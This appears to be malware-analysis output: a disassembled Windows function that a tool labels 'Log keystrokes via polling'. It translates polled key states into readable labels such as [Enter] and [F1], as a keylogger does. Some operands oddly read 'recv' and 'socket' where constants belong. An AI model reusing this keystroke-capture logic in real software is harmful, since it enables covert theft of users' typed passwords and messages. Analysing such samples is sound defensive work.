Function at 0x1800018d0
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov edi, edx
mov rbx, rcx
mov qword [rsp + 0x28], rcx
xor ebp, ebp
mov dword [rsp + 0x20], ebp
lea ecx, [rbp + 0x10]
call qword [sym.imp.USER32.dll_GetKeyState]
movsx esi, ax
shr esi, 0x1f
mov qword [rbx], rbp
mov qword [rbx + 0x10], rbp
mov qword [rbx + 0x18], recv
mov byte [rbx], bpl
xor r8d, r8d
lea rdx, [0x18002d3e0]
mov rcx, rbx
call fcn.180006e60
mov dword [rsp + 0x20], 1
lea rbp, [0x180000000]
cmp edi, 0xba
jl 0x180001b3d
cmp edi, 0xde
jg 0x180001989
lea eax, [rdi - 0xba]
cmp eax, 0x24
ja case.0x18000196d.197
cdqe
movzx eax, byte [rax + rbp + 0x2120]
mov ecx, dword [rbp + rax*4 + 0x20f0]
add rcx, rbp
jmp rcx
mov r8d, 1
mov rcx, rbx
test sil, sil
je 0x1800019a2
lea rdx, str.:______._____
call fcn.180006e60
cmp edi, 0x23
jne 0x180001dc7
lea r8d, [rdi - 0x1e]
lea rdx, str._End_
jmp 0x1800020cc
lea rdx, [0x18002d42c]
jmp 0x180001984
mov r8d, 1
mov rcx, rbx
test sil, sil
je 0x1800019c2
lea rdx, [0x18002d430]
jmp 0x180001984
lea rdx, [0x18002d434]
jmp 0x180001984
mov r8d, 1
mov rcx, rbx
test sil, sil
je 0x1800019e2
lea rdx, [0x18002d438]
jmp 0x180001984
lea rdx, [0x18002d43c]
jmp 0x180001984
mov r8d, 1
mov rcx, rbx
test sil, sil
je 0x180001a02
lea rdx, [0x18002d440]
jmp 0x180001984
lea rdx, [0x18002d444]
jmp 0x180001984
mov r8d, 1
mov rcx, rbx
test sil, sil
je 0x180001a28
lea rdx, [0x18002d448]
jmp 0x180001984
lea rdx, [0x18002d44c]
jmp 0x180001984
mov r8d, 1
mov rcx, rbx
test sil, sil
je 0x180001a4e
lea rdx, [0x18002d450]
jmp 0x180001984
lea rdx, [0x18002d454]
jmp 0x180001984
mov r8d, 1
mov rcx, rbx
test sil, sil
je 0x180001a74
lea rdx, [0x18002d458]
jmp 0x180001984
lea rdx, [0x18002d45c]
jmp 0x180001984
mov r8d, 1
mov rcx, rbx
test sil, sil
je 0x180001a9a
lea rdx, [0x18002d460]
jmp 0x180001984
lea rdx, [0x18002d464]
jmp 0x180001984
mov r8d, 1
mov rcx, rbx
test sil, sil
je 0x180001ac0
lea rdx, [0x18002d468]
jmp 0x180001984
lea rdx, [0x18002d46c]
jmp 0x180001984
mov r8d, 1
mov rcx, rbx
test sil, sil
je 0x180001ae6
lea rdx, [0x18002d470]
jmp 0x180001984
lea rdx, [0x18002d474]
jmp 0x180001984
test sil, sil
je 0x180001b13
mov qword [rbx + 0x10], 1
mov rax, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x180001b0c
mov rax, qword [rbx]
mov word [rax], 0x22
jmp case.0x18000196d.197
mov r8d, 1
lea rdx, [0x18002d43c]
mov rcx, rbx
call fcn.180006e60
mov r8d, 5
lea rdx, [0x18002d478]
mov rcx, rbx
jmp 0x180001984
cmp edi, 0x1b
jne 0x180001b52
lea r8d, [rdi - 0x16]
lea rdx, str._Esc_
jmp 0x1800020cc
cmp edi, 0x70
jne 0x180001b67
lea r8d, [rdi - 0x6c]
lea rdx, str._F1_
jmp 0x1800020cc
cmp edi, 0x71
jne 0x180001b7c
lea r8d, [rdi - 0x6d]
lea rdx, str._F2_
jmp 0x1800020cc
cmp edi, 0x72
jne 0x180001b91
lea r8d, [rdi - 0x6e]
lea rdx, str._F3_
jmp 0x1800020cc
cmp edi, 0x73
jne 0x180001ba6
lea r8d, [rdi - 0x6f]
lea rdx, str._F4_
jmp 0x1800020cc
cmp edi, 0x74
jne 0x180001bbb
lea r8d, [rdi - 0x70]
lea rdx, str._F5_
jmp 0x1800020cc
cmp edi, 0x75
jne 0x180001bd0
lea r8d, [rdi - 0x71]
lea rdx, str._F6_
jmp 0x1800020cc
cmp edi, 0x76
jne 0x180001be5
lea r8d, [rdi - 0x72]
lea rdx, str._F7_
jmp 0x1800020cc
cmp edi, 0x77
jne 0x180001bfa
lea r8d, [rdi - 0x73]
lea rdx, str._F8_
jmp 0x1800020cc
cmp edi, 0x78
jne 0x180001c0f
lea r8d, [rdi - 0x74]
lea rdx, str._F9_
jmp 0x1800020cc
cmp edi, 0x79
jne 0x180001c24
lea r8d, [rdi - 0x74]
lea rdx, str._F10_
jmp 0x1800020cc
cmp edi, 0x7a
jne 0x180001c39
lea r8d, [rdi - 0x75]
lea rdx, str._F11_
jmp 0x1800020cc
cmp edi, 0x7b
jne 0x180001c4e
lea r8d, [rdi - 0x76]
lea rdx, str._F12_
jmp 0x1800020cc
cmp edi, 0x2c
jne 0x180001c63
lea r8d, [rdi - 0x24]
lea rdx, str._PrScrn_
jmp 0x1800020cc
cmp edi, 0x91
jne 0x180001c7d
mov r8d, recv
lea rdx, str._Scroll_Lock_
jmp 0x1800020cc
cmp edi, 0x13
jne 0x180001c92
lea r8d, [rdi - 0xc]
lea rdx, str._Pause_
jmp 0x1800020cc
cmp edi, 0x14
jne 0x180001ca7
lea r8d, [rdi - 9]
lea rdx, str._Caps_Lock_
jmp 0x1800020cc
cmp edi, 8
jne 0x180001cbc
lea r8d, [rdi + 3]
lea rdx, str._Backspace_
jmp 0x1800020cc
cmp edi, 0xd
jne 0x180001cd1
lea r8d, [rdi - 5]
lea rdx, str._Enter__n
jmp 0x1800020cc
cmp edi, 0x20
jne 0x180001ce2
lea rdx, [0x18002d53c]
jmp 0x1800020c6
cmp edi, 9
jne 0x180001cf7
lea r8d, [rdi - 4]
lea rdx, str._Tab_
jmp 0x1800020cc
cmp edi, 0xa2
jne 0x180001d11
mov r8d, 6
lea rdx, str._Ctrl_
jmp 0x1800020cc
cmp edi, 0xa3
jne 0x180001d2b
mov r8d, 6
lea rdx, str._CTRL_
jmp 0x1800020cc
cmp edi, 0xa4
jne 0x180001d45
mov r8d, 5
lea rdx, str._Alt_
jmp 0x1800020cc
cmp edi, 0x5b
jne 0x180001d5a
lea r8d, [rdi - 0x56]
lea rdx, str._Win_
jmp 0x1800020cc
cmp edi, 0x5c
jne 0x180001d6f
lea r8d, [rdi - 0x57]
lea rdx, str._WIN_
jmp 0x1800020cc
cmp edi, 0x5d
jne 0x180001d84
lea r8d, [rdi - 0x59]
lea rdx, [0x18002d570]
jmp 0x1800020cc
cmp edi, 0x2d
jne 0x180001d99
lea r8d, [rdi - 0x25]
lea rdx, str._Insert_
jmp 0x1800020cc
cmp edi, 0x2e
jne 0x180001dae
lea r8d, [rdi - 0x26]
lea rdx, str._Delete_
jmp 0x1800020cc
cmp edi, 0x24
jne 0x180001989
lea r8d, [rdi - 0x1e]
lea rdx, str._Home_
jmp 0x1800020cc
cmp edi, 0x21
jne 0x180001ddc
lea r8d, [rdi - 0x1b]
lea rdx, str._PgUp_
jmp 0x1800020cc
cmp edi, 0x22
jne 0x180001df1
lea r8d, [rdi - 0x1a]
lea rdx, str._PgDown_
jmp 0x1800020cc
cmp edi, 3
jne 0x180001e06
lea r8d, [rdi + 5]
lea rdx, str._Cancel_
jmp 0x1800020cc
cmp edi, 0xc
jne 0x180001e1b
lea r8d, [rdi - 5]
lea rdx, str._Clear_
jmp 0x1800020cc
cmp edi, 0x29
jne 0x180001e30
lea r8d, [rdi - 0x21]
lea rdx, str._Select_
jmp 0x1800020cc
cmp edi, 0x2a
jne 0x180001e45
lea r8d, [rdi - 0x23]
lea rdx, str._Print_
jmp 0x1800020cc
cmp edi, 0x2b
jne 0x180001e5a
lea r8d, [rdi - 0x22]
lea rdx, str._Execute_
jmp 0x1800020cc
cmp edi, 0x25
jne 0x180001e6f
lea r8d, [rdi - 0x21]
lea rdx, [0x18002d5fc]
jmp 0x1800020cc
cmp edi, 0x27
jne 0x180001e84
lea r8d, [rdi - 0x23]
lea rdx, [0x18002d604]
jmp 0x1800020cc
cmp edi, 0x26
jne 0x180001e99
lea r8d, [rdi - 0x22]
lea rdx, [0x18002d60c]
jmp 0x1800020cc
cmp edi, 0x28
jne 0x180001eae
lea r8d, [rdi - 0x24]
lea rdx, [0x18002d614]
jmp 0x1800020cc
cmp edi, 0x90
jne 0x180001ec8
mov r8d, 9
lea rdx, str._NumLock_
jmp 0x1800020cc
cmp edi, 0x6b
jne 0x180001ed9
lea rdx, [0x18002d430]
jmp 0x1800020c6
cmp edi, 0x6d
jne 0x180001eea
lea rdx, [0x18002d444]
jmp 0x1800020c6
cmp edi, 0x6a
jne 0x180001efb
lea rdx, [0x18002d3e4]
jmp 0x1800020c6
cmp edi, 0x6f
jne 0x180001f0c
lea rdx, [0x18002d454]
jmp 0x1800020c6
cmp edi, 0xbe
je 0x1800020bf
cmp edi, 0x6e
je 0x1800020bf
cmp edi, 0x60
je case.0x180002063.0
cmp edi, 0x61
je case.0x180002063.1
cmp edi, 0x62
je case.0x180002063.2
cmp edi, 0x63
je case.0x180002063.3
cmp edi, 0x64
je case.0x180002063.4
cmp edi, 0x65
je case.0x180002063.5
cmp edi, 0x66
je case.0x180002063.6
cmp edi, 0x67
je case.0x180002063.7
cmp edi, 0x68
je case.0x180002063.8
cmp edi, 0x69
je case.0x180002063.9
cmp edi, 0x41
jl 0x180001fca
cmp edi, 0x5a
jg 0x1800020d4
mov ecx, socket
call qword [sym.imp.USER32.dll_GetKeyState]
mov qword [rbx + 0x10], 1
test ax, ax
mov rax, rbx
je 0x180001fab
test sil, sil
je 0x180001fb4
jmp 0x180001fb0
test sil, sil
jne 0x180001fb4
add dil, 0x20
cmp qword [rbx + 0x18], 0x10
jb 0x180001fbe
mov rax, qword [rbx]
mov byte [rax], dil
mov byte [rax + 1], 0
jmp 0x1800020d4
lea eax, [rdi - 0x30]
cmp eax, 9
ja 0x1800020d4
add edi, 0xffffffd0
cmp edi, 9
ja 0x1800020d4
movsxd rax, edi
test sil, sil
je 0x180002059
mov ecx, dword [rbp + rax*4 + 0x2148]
add rcx, rbp
jmp rcx
lea rdx, [0x18002d654]
jmp 0x1800020c6
lea rdx, [0x18002d658]
jmp 0x1800020c6
lea rdx, [0x18002d65c]
jmp 0x1800020c6
lea rdx, [0x18002d660]
jmp 0x1800020c6
lea rdx, [0x18002d664]
jmp 0x1800020c6
lea rdx, [0x18002d668]
jmp 0x1800020c6
lea rdx, [0x18002d66c]
jmp 0x1800020c6
lea rdx, [0x18002d670]
jmp 0x1800020c6
lea rdx, [0x18002d674]
jmp 0x1800020c6
mov ecx, dword [rbp + rax*4 + 0x2170]
add rcx, rbp
jmp rcx
lea rdx, [0x18002d650]
jmp 0x1800020c6
lea rdx, [0x18002d64c]
jmp 0x1800020c6
lea rdx, [0x18002d648]
jmp 0x1800020c6
lea rdx, [0x18002d644]
jmp 0x1800020c6
lea rdx, [0x18002d640]
jmp 0x1800020c6
lea rdx, [0x18002d63c]
jmp 0x1800020c6
lea rdx, [0x18002d638]
jmp 0x1800020c6
lea rdx, [0x18002d634]
jmp 0x1800020c6
lea rdx, [0x18002d630]
jmp 0x1800020c6
lea rdx, str.0123456789______coinryptadexm
jmp 0x1800020c6
lea rdx, [0x18002d44c]
mov r8d, 1
mov rcx, rbx
call fcn.180006e60
mov rax, rbx
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret